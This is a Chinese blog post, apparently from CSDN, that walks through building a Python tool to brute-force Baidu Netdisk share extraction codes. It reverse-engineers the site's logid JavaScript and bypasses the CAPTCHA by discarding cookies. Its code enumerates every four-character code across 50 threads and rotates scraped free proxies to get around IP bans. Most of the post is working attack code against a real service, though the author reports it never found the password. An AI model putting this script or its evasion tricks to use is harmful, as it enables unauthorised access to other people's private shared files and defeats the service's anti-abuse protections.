python3爬虫(5)百度云盘暴力破解尝试

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/liujiayu2/article/details/86476406

4年前写过一篇文章,暴力破解百度云,链接(当然这个方法早已失效):

https://blog.csdn.net/liujiayu2/article/details/48953745

当时写这篇文章的时候是同事的感召,他写了一个,心中想既然他能写那我也能写,没过多久果然弄出来了,成就感十足。C++写的,稍微有点麻烦,代码还是很清晰,百度网盘不会对验证码进行校验。这个是10分重要的,验证码验证还真不好做,目前做爬虫也都是手工验证,要是暴力破解也采用手工验证那就天方夜谭了。

 

1.研究一下目前百度云盘验证机制

最近在研究爬虫,没事也搞搞这个,自己分享了一个百度云盘链接(知道密码好测试):

测试链接:https://pan.baidu.com/s/1Vi2g_l0A4UJFnuAaeZh7fg

提取码:os0p

自动跳转:https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg

浏览器地址栏输入第一个分享链接,回车,会自动跳转第二个链接,并出现输入提取码提取文件页面,输入密码1234,F12打开抓包工具,点击提取文件,抓到一个xhr请求

看下请求参数

简单多次测试和观察,surl来自于地址栏,t是时间戳,channel固定,web固定,app_id固定,bdstoken固定,logid变动,没看出来哪里出来的,clienttype固定,pwd输入的密码,vcode验证码,vcode_str和验证码有关的字符串。

验证码机制研究与分析:

连续4次输错密码才会弹出验证码,让用户输入。清空浏览器缓存,刷新页面,验证码有消失了,可见,验证码不是必须的,服务器记录了哪一个cookie连续输错的次数,我们不停的更换cookie就可以跳过验证码验证机制(简单点来讲:模拟浏览器操作,每次请求之后清空缓存,重新获取cookie)。

Logid研究与分析:

首先我们只是打开浏览器,输入地址,没输入与我们相关的任何信息,这个id是变动每次请求都不一样,看下这个id也不是服务器返回的(提取文件请求只有一个,很容易看到没有这个字符串),那他是哪里来的,目测是本地JS生成的,找下看看吧,打开开发者工具里面的sources页面,看到浏览器运行的时候加载的JS,

IE看这个也很直接

我们把这些JS统统分别复制下来,分别粘贴到文本里面,批量搜索字符串logid,既然请求是xhr也就是JS发出的请求,理论上讲,请求的地址和参数都会在JS里面合成,所有JS里面应该可以搜索的到logid。经过搜索,我们定位了一个文件,boot.js里面有合成参数代码,如下图

 

为什么么JS代码只有一行,网上搜索了一下这是经过混淆的,目的就是不方便阅读,一般浏览器都提供了使之格式化的工具,点一下下面的“{}”按钮就可以了,

点击之后:

 

IE也有类似功能:

没有写过JS代码想完全读懂还是有点压力的,有趣的是我们可以通过调试,看程序是怎么运行的,这样更方便JS的理解,在行号左边点击一下就可以加个断点,下好断电之后,输入密码,点击提取,JS程序就会断到断点处,如果没有断下来重新打开浏览器再来一遍(chrome浏览器时常有段不下来的现象,IE就好多了肯定断的下来),一步一步调试,一点一点看变量值,右边的菜单栏可以出来一个console界面,输入变量的值,回车也可以看值

调试快捷键和VS差不多,F10单步走,F11单步进,F8执行到下个断点(IE是F5)

经过简单分析,这些代码是一个调用另一个,最终达到目的:根据cookie中字段BAIDUID生成logid的值

 

2.代码实现和一些细节

上面我们分析了原理,现在说说怎么用编程语言py实现,首先是这个logid的生成,我已开始的想法是,看懂这段JS代码自己写个相应的py版本,1分钟后就放弃了,这他妈也太复杂了,py这门语言之所以强大关键就是他的第三方库丰富,那有没有py调用js的库呢,网上搜了一下还真有,pyv8和js2py两个库都可以,pyv8好像支持py2所以咱们就用js2py这个库吧,先看一下这个库怎么用,js2py安装与使用教程:

https://www.cnblogs.com/qingsheng/p/9594200.html

看了这个教程,说实话有点简短,其实我想要的是:有一个JS文件,里面有若干个函数,我想调用其中一个。但是文章没有提供这样的接口,网上搜了也没搜索的到,简单看下js2py也没有看到类似接口函数。原本的想法是把整个JS文件复制下来存为boot.js,然后调用其中的w函数,看来是泡汤了。于是我尝试了把需要用的函数提取出来存为boot2.js。代码如下:

var u="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/~!@#¥%……&"
,l=String.fromCharCode
,d=function(e){
    if(e.length<2){
        var n=e.charCodeAt(0);
        return 128>n?e:2048>n?l(192|n>>>6)+l(128|63&n):l(224|n>>>12&15)+l(128|n>>>6&63)+l(128|63&n)
    }
    var n=65536+1024*(e.charCodeAt(0)-55296)+(e.charCodeAt(1)-56320);
    return l(240|n>>>18&7)+l(128|n>>>12&63)+l(128|n>>>6&63)+l(128|63&n)
}
,f=/[\uD800-\uDBFF][\uDC00-\uDFFFF]|[^\x00-\x7F]/g,g=function(e){
    return(e+""+Math.random()).replace(f,d)
}
,h=function(e){
    var n=[0,2,1][e.length%3],t=e.charCodeAt(0)<<16|(e.length>1?e.charCodeAt(1):0)<<8|(e.length>2?e.charCodeAt(2):0),o=[u.charAt(t>>>18),u.charAt(t>>>12&63),n>=2?"=":u.charAt(t>>>6&63),n>=1?"=":u.charAt(63&t)];
    return o.join("")
}
,m=function(e){
    return e.replace(/[\s\S]{1,3}/g,h)
}
,p=function(){
    return m(g((new Date).getTime()))
}
,w=function(e,n){
    return n?p(String(e)).replace(/[+\/]/g,function(e){
        return"+"==e?"-":"_"
    }).replace(/=/g,""):p(String(e))
}

function enString2(data){
        var enchex = w(data)
        return enchex;
}

写一段测试代码,测试一下,成功了(从格式和长度来看),测试代码如下:

import js2py

# data=open('boot.js','r',encoding= 'utf8').read()
# tt = js2py.eval_js(data)

data=open('boot2.js','r',encoding= 'utf8').read()
print(type(data))
w=js2py.eval_js(data)
print(w('E1D822C135210D1CC83DD8190AF05734:FG=1'))


print('end')

于是,尝试写一下整项目,代码如下:

import requests
import time
import js2py

from urllib.parse import urlencode

#下载链接
#注请使用跳转之后的链接,原链接不会获取cookie,从代码测试结果来讲是这样的
#down_url = 'https://pan.baidu.com/s/1Vi2g_l0A4UJFnuAaeZh7fg'
down_url = 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg'

header ={
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Encoding':'gzip, deflate, sdch, br',
    'Accept-Language':'zh-CN,zh;q=0.8',
    'Connection':'keep-alive',
    'Host':'pan.baidu.com',
    'Upgrade-Insecure-Requests':'1',
    'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0'
}

#获取cookie里面的 BAIDUID 的值
seesion = requests.session()
#seesion.headers.clear()
seesion.headers.update(header)
#不使用第二个参数正常访问是ok的。如果打开HttpAnalyzer抓包会直接崩溃,弹出错误requests.exceptions.SSLError,添加上这个参数就可以了
res = seesion.get(down_url, verify=False)
cookies = res.cookies.get_dict()

#添加一下cookie属性
timestr = str(int(time.time()))
cookies['Hm_lvt_7a3960b6f067eb0085b7f96ff5e660b0'] = timestr
cookies['Hm_lpvt_7a3960b6f067eb0085b7f96ff5e660b0'] = timestr
seesion.cookies.clear()
seesion.cookies.update(cookies)

#获取 BAIDUID 加密值
data=open('boot2.js','r',encoding= 'utf8').read()
w=js2py.eval_js(data)
cookie_encode =w(cookies['BAIDUID'])

#params方式传递get参数,会对字符进行Urlcode编码,=会转化为%3D,导致请求失败
url = 'https://pan.baidu.com/share/verify?logid='
params ={
    'surl':'Vi2g_l0A4UJFnuAaeZh7fg',
    't':'1547182280624',
    'channel':'chunlei',
    'web':'1',
    'app_id':'250528',
    'bdstoken':'null',
    #'logid':'MTU0NzE4MzEyMjgyNzAuMzc5NzQxMjA1ODI1NDEzMDQ=',
    'clienttype':'0'
}
params['t'] = str(int(int(time.time()*1000)))
# params['logid'] = cookie_encode
url += cookie_encode
data = {
    'pwd':'2222',
    'vcode':'',
    'vcode_str': ''
}
params2 = urlencode(params)
res = seesion.post(url, params = params2, data = data)


print('end')

结果发下反回了数据“'{"errno":2,"request_id":314674761273760332}'”。额,眉头紧缩一下,感觉有点不太对,我们再看下浏览器返回的啥数据:

“{"errno":-9,"err_msg":"","request_id":314701270676769174}”

浏览器返回的错误码是:-9,我们写的返回码是2,浏览器提示是提取码错误,我们这个情况不是提取码错误,还有点异常,这个2是什么意思?还是那个方法在所有js里面搜索所

IE浏览器打开开发者工具,转到“脚本”页面,CTRL+F,输入-9或者错误,一个个搜索,找一下错误码定义,最找到了:

参数错误,可见还是有点方传值没传好,这个项目请求的要点如下:

  1. 地址栏参数
  2. Post参数
  3. Http头信息
  4. Cookie信息

一般来讲,只要上面4点模拟到位,不可能出现浏览器和py代码不一致的现象,简单修改了一下cookie,还是参数错。哎,最近自己时间有点紧张了,先记载到这里,有时间再研究,,,

========================以下为12:59 2019/1/25更新==============================

这个项目没有完成一直是我的心病,凡事不能半途而废(当然也不能不到南墙不回头,具体情况具体分析),半途而非与我人生来讲都是个打击,心里面总想着这个事儿自己没能拿下(当然这个测试完全可以用selenium来做,不需要任何的分析,考虑到我们是做暴力破解,注重效率,不太合适)。不多比比了,入正题。上次讲到自己post之后返回码是2,浏览器返回码是-9,总结一下是post信息有误,错误无非是以下4个地方(任何项目而言基本是这样,请不要那特殊列子和我抬杠)1地址栏参数,2post参数,3http头信息,4cookie信息。我们就想办法对比一下自己用py发送的和浏览器发送区别,怎么对比,先抓包呗,我还是感觉HttpAnalyzer这个抓包工具相当不错,抓浏览器包的时候发现抓取不到,同时打开开发工具发现发送失败,如下图:

哎,都是事儿,我有换了浏览器IE,说实话上次调试JS的时候就感觉还是IE好用,这次又一次印证了我的看法,用IE抓包没啥问题,再抓一下py代码发送的数据包,对比一下,更改不同之处,不大会儿py代码就返回了期待已久的-9。整个代码如下

import requests
import time
import execjs

down_url = 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg'
seesion = requests.session()
seesion.cookies.clear()

#params方式传递get参数,会对字符进行Urlcode编码,=会转化为%3D,导致请求失败
url = 'https://pan.baidu.com/share/verify?logid='
params ={
    'surl':'Vi2g_l0A4UJFnuAaeZh7fg',
    't':'1547182280624',
    'channel':'chunlei',
    'web':'1',
    'app_id':'250528',
    'bdstoken':'null',
    #'logid':'MTU0NzE4MzEyMjgyNzAuMzc5NzQxMjA1ODI1NDEzMDQ=',
    'clienttype':'0'
}
params['t'] = str(int(int(time.time()*1000)))

#获取 BAIDUID 加密值
url +=  execjs.compile(open(r"boot2.js",encoding='gb18030',errors='ignore').read()).call('w', '')
data = {
    'pwd':'1234',
    'vcode':'',
    'vcode_str': ''
}
header2 ={
    'Accept':'*/*',
    'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With':'XMLHttpRequest',
    'Referer': 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg',
    'Accept-Language':'zh-CN',
    'Accept-Encoding':'gzip, deflate',
    'Host':'pan.baidu.com',
    'DNT':'1',
    'Connection': 'Keep-Alive',
    'Cache-Control': 'no-cache',
    'User-Agent':'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)'
}

seesion.headers.clear()
seesion.headers.update(header2)
res = seesion.post(url, params = params, data = data, verify=False)

print('end')

说明:

1.经过测试,浏览器清空所有缓存,提交密码也能返回-9,看了一下发送cookie是空的,既然这样我们py代码里面也清空。

2.发现了一个py运行js的库execjs。用法看上面的代码

下面我们考虑一下暴力破解的事情吧。

花了一段时间,完成了多线程版密码枚举,代码如下:

import requests
import time
import execjs
import json
import generatepwd
import threading

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

down_url = 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg'
# seesion = requests.session()

#params方式传递get参数,会对字符进行Urlcode编码,=会转化为%3D,导致请求失败
url = 'https://pan.baidu.com/share/verify?logid='
params ={
    'surl':'Vi2g_l0A4UJFnuAaeZh7fg',
    't':'1547182280624',
    'channel':'chunlei',
    'web':'1',
    'app_id':'250528',
    'bdstoken':'null',
    #'logid':'MTU0NzE4MzEyMjgyNzAuMzc5NzQxMjA1ODI1NDEzMDQ=',
    'clienttype':'0'
}
data = {
    'pwd':'1234',
    'vcode':'',
    'vcode_str': ''
}
header2 ={
    'Accept':'*/*',
    'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With':'XMLHttpRequest',
    'Referer': 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg',
    'Accept-Language':'zh-CN',
    'Accept-Encoding':'gzip, deflate',
    'Host':'pan.baidu.com',
    'DNT':'1',
    'Connection': 'Keep-Alive',
    'Cache-Control': 'no-cache',
    'User-Agent':'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.01)'
}

def TryOnePwd(pwd):

    #获取 BAIDUID 加密值
    curUrl = url + execjs.compile(open(r"boot2.js",encoding='gb18030',errors='ignore').read()).call('w', '')
    params['t'] = str(int(int(time.time()*1000)))
    data['pwd']=pwd

    res = requests.post(curUrl, params = params, data = data, headers=header2, verify=False)
    jscode = 1024
    try:
        jscode = json.loads(res.text).get('errno');
    except:
        print(res.text)

    return jscode
'''
# 单线程模式,效率太低
for pwd in generatepwd.createpwd():
    code  = 1025
    if pwd=='0058':
        code = TryOnePwd(pwd)
    else:
        code = TryOnePwd('1234')

    print(pwd, code)
    if code == 0 :
        exit(0)
'''

#密码集合
allpwd = generatepwd.createpwd()
num = 0

#线程函数
def threadFun(n):
    global num
    while num < len(allpwd):
        #线程安全代码
        lock.acquire()

        curTestPwd = allpwd[num]
        num = num + 1
        lock.release()

        code = TryOnePwd(curTestPwd)
        if code == 0 :
            exit(0)

        print('线程编号:',  n, " 测试密码:",curTestPwd)

#生成锁
lock=threading.Lock()

#存线程实例
res=[]
start_time=time.time()
for i in range(1):#创建线程50个线程
    t=threading.Thread(target=threadFun,args=("thread-%s"%i,))
    t.start()
    res.append(t)

for r in res:#循环线程实例列表,等待所有的线程执行完毕
    r.join()#线程执行完毕后,才会往后执行,相当于C语言中的wait()


print('end')



generatepwd.py代码:

#36
code = "0123456789abcdefghijklmnopqrstuvwxyz"
def createpwd():
    allpwd = []
    for i in range(0,35):
        for j in range(0, 35):
            for k in range(0, 35):
                for h in range(0, 35):
                    pwd = ""
                    pwd += code[i]
                    pwd += code[j]
                    pwd += code[k]
                    pwd += code[h]
                    allpwd.append(pwd)

    return allpwd

写完这段代码,把他运行起来,我出去抽了根烟,回来时候发现输出狂不停输出html源码,不用想是发生错误了,仔细看了下是404错误。一开始运行好好的啊,可见服务器做了相关的策略,防止暴力猜解。于是我进行了如下测试

1.不管37=21先试试浏览器能否正常提取文件,是不是也是返回404错误,故意输错密码试了几次,有的时候返回了json(当然错误码是-9),有的时候返回404,我又重新试了试代码,其实也是有一定概率返回404,有一定概率返回json的。

2.是不是提取了我的http头,加入黑名单?我刚用的IE,直接换个浏览器搜狗试试,发现也是有一定概率返回404一定概率返回json,截图如下:要是这个情况,也可能是服务器对这个链接进行了保护,

3.重新分享一个链接,发现还是一定概率404,那只能怀疑IP是不是被记录了,加入黑名单了,知道你在搞事,直接在服务器上做限制,我换了同事电脑试了一下(同局域网),发现也是有一定概率的404。这样的话只能考虑代理的事情了。

========================以下为16:45 2019/1/29更新==============================

上次说到IP被封,无奈只好找代理,代理,找到两个免费的,一个西刺,一个快代理。破解思路,尝试一次换一次代理,当然这都要基于多线程,提高并发。整体代码,如下:

import requests
import time
import execjs
import json
import threading
import generatepwd
import proxytest
import proxytest2
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

down_url = 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg'
# seesion = requests.session()

#params方式传递get参数,会对字符进行Urlcode编码,=会转化为%3D,导致请求失败
url = 'https://pan.baidu.com/share/verify?logid='
params ={
    'surl':'Vi2g_l0A4UJFnuAaeZh7fg',
    't':'1547182280624',
    'channel':'chunlei',
    'web':'1',
    'app_id':'250528',
    'bdstoken':'null',
    #'logid':'MTU0NzE4MzEyMjgyNzAuMzc5NzQxMjA1ODI1NDEzMDQ=',
    'clienttype':'0'
}
data = {
    'pwd':'1234',
    'vcode':'',
    'vcode_str': ''
}
header2 ={
    'Accept':'*/*',
    'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With':'XMLHttpRequest',
    'Referer': 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg',
    'Accept-Language':'zh-CN',
    'Accept-Encoding':'gzip, deflate',
    'Host':'pan.baidu.com',
    'DNT':'1',
    'Connection': 'Keep-Alive',
    'Cache-Control': 'no-cache',
    'User-Agent':'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.01)'
}

def TryOnePwd(pwd,proxy):
    curproxy = proxy['ip'] + ':' + proxy['port']
    proxies = {
        'http': 'http://' + curproxy,
        'https': 'https://' + curproxy,
    }

    #获取 BAIDUID 加密值
    curUrl = url + execjs.compile(open(r"boot2.js",encoding='gb18030',errors='ignore').read()).call('w', '')
    params['t'] = str(int(int(time.time()*1000)))
    data['pwd']=pwd

    try:
        res = requests.post(curUrl, params=params, data=data, headers=header2, verify=False, proxies=proxies, timeout=3)
    except BaseException as e:
        print('Error', e.args)
        needtryagainpwd.append(pwd)
        return 1001

    jscode = 1024
    try:
        jscode = json.loads(res.text).get('errno');
    except:
        print(res.text)

    return jscode

num = 0
proxyid = 0
#线程函数
def threadFun(n):
    global num
    global proxyid
    while num < len(allpwd):
        lock.acquire()
        # 获取验证一个密码任务
        curTestPwd = allpwd[num]
        num = num + 1
        lock.release()

        while True:
            lock.acquire()
            # 获取一个代理
            if proxyid==len(canUseProxies):
                proxyid=0
            proxy = canUseProxies[proxyid]
            proxyid = proxyid +1
            lock.release()

            print('线程编号:', n, " 测试密码:", curTestPwd, "使用代理:", proxy)
            code = TryOnePwd(curTestPwd, proxy)

            if code == -9:
                break

            if code == 0 :
                print('找到了密码',curTestPwd)
                exit(0)

if __name__ == '__main__':

    # 密码集合
    allpwd = generatepwd.createpwd()

    #使用代理验证密码的时候,代理正好失效了,
    needtryagainpwd=[]

    # 代理集合
    canUseProxies = proxytest2.GetCanUseProxies()

    # 生成锁
    lock = threading.Lock()

    # 存线程实例
    res=[]
    start_time=time.time()
    for i in range(50):#创建线程50个线程
        t=threading.Thread(target=threadFun,args=("thread-%s"%i,))
        t.start()
        res.append(t)

    for r in res:#循环线程实例列表,等待所有的线程执行完毕
        r.join()#线程执行完毕后,才会往后执行,相当于C语言中的wait()

    print('end')



proxytest2.py代码如下:

#快代理:https://www.kuaidaili.com/free/
#
import requests
from bs4 import BeautifulSoup
import pandas as pd
import threading
import time
from time import sleep

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

#代理是否成功测试网站
test_http = 'http://httpbin.org/get'
test_https = 'https://httpbin.org/get'

header ={
    'Accept':'*/*',
    'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept-Language':'zh-CN',
    'Accept-Encoding':'gzip, deflate',
    'Connection': 'Keep-Alive',
    'Cache-Control': 'no-cache',
    'User-Agent':'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.01)'
}

def pandas_to_xlsx(filename, info):  # 储存到xlsx
    pd_look = pd.DataFrame(info)
    pd_look.to_excel(filename, sheet_name='快代理')

def TestOneProxy(ip, port,n):
    proxy = ip + ':' + port
    proxies = {
        'http': 'http://' + proxy,
        'https': 'https://' + proxy,
    }
    try:
        response = requests.get('http://httpbin.org/get', proxies=proxies , timeout=3)
        if response.status_code == 200 :
            print(n,'--验证代理通过 ip', ip, ' 端口:', port)
            return True
        else:
            print(n,'--验证代理失败 ip', ip, ' 端口:', port)
            return False
    except BaseException as e:
        print(n,'--Error', e.args)
        return False

def  getHttpsProxy(url):
    for i in range(1,20):
        sleep(1)
        curUrl = url + str(i) + '/'
        try:
            print('正在获取代理信息,网页', curUrl)
            webcontent = requests.get(curUrl,verify=False)
            if webcontent.status_code!=200 :
                print('获取错误网页,错误码:',webcontent.status_code)
                continue
            soup = BeautifulSoup(webcontent.text, 'lxml')
            list = soup.select('#list')
            if len(list) == 0:
                print('获取错误网页,网页内容:',webcontent.text)
                continue
            a = list[0].select('tbody')[0]
            b = a.select('tr')
            for item in b:
                td = item.select('td')
                info = {}
                info['ip'] = td[0].text
                info['port'] = td[1].text
                info['匿名度'] = td[2].text
                info['类型'] = td[3].text
                info['位置'] = td[4].text
                info['响应速度'] = td[5].text
                info['最后验证时间'] = td[6].text
                allProxies.append(info)
        except requests.exceptions.ConnectionError as e:
            print('--Error', e.args)
            pandas_to_xlsx('所有代理.xlsx',allProxies)
    return allProxies


#线程函数
num = 0
def threadFun(n):
    global num
    while True:

        #领取任务
        lock.acquire()
        if num >= len(allProxies):
            lock.release()#这个地方忘了写这一行代码,调试了一整天,泪奔
            break
        curTestProxy = allProxies[num]
        num = num + 1
        lock.release()
        #线程干活
        if TestOneProxy(curTestProxy['ip'],curTestProxy['port'],n):
            canUseProxies.append(curTestProxy)

    print(n,'--运行结束')

def GetCanUseProxies():
    # 单线程获取所有可用代理
    url = 'http://www.kuaidaili.com/free/inha/'
    getHttpsProxy(url)

    # 多线程测试是否可用
    res = []
    for i in range(50):  # 创建线程50个线程
        t = threading.Thread(target=threadFun, args=("thread-%s" % i,))
        t.start()
        res.append(t)
    for r in res:  # 循环线程实例列表,等待所有的线程执行完毕
        r.join()  # 线程执行完毕后,才会往后执行,相当于C语言中的wait()

    if len(canUseProxies) > 0:
        pandas_to_xlsx('所有可用代理.xlsx', canUseProxies)
    return canUseProxies


allProxies = []
canUseProxies = []
lock = threading.Lock()
if __name__ == '__main__':
    GetCanUseProxies()

#print ('end')

最后,这写代码最终还是没有得到最后的密码,原因是代理太不稳定,即使获取的时候测试了一下,使劲使用的时候仍然不可用。告一段落吧。

 

 

 

猜你喜欢

转载自blog.csdn.net/liujiayu2/article/details/86476406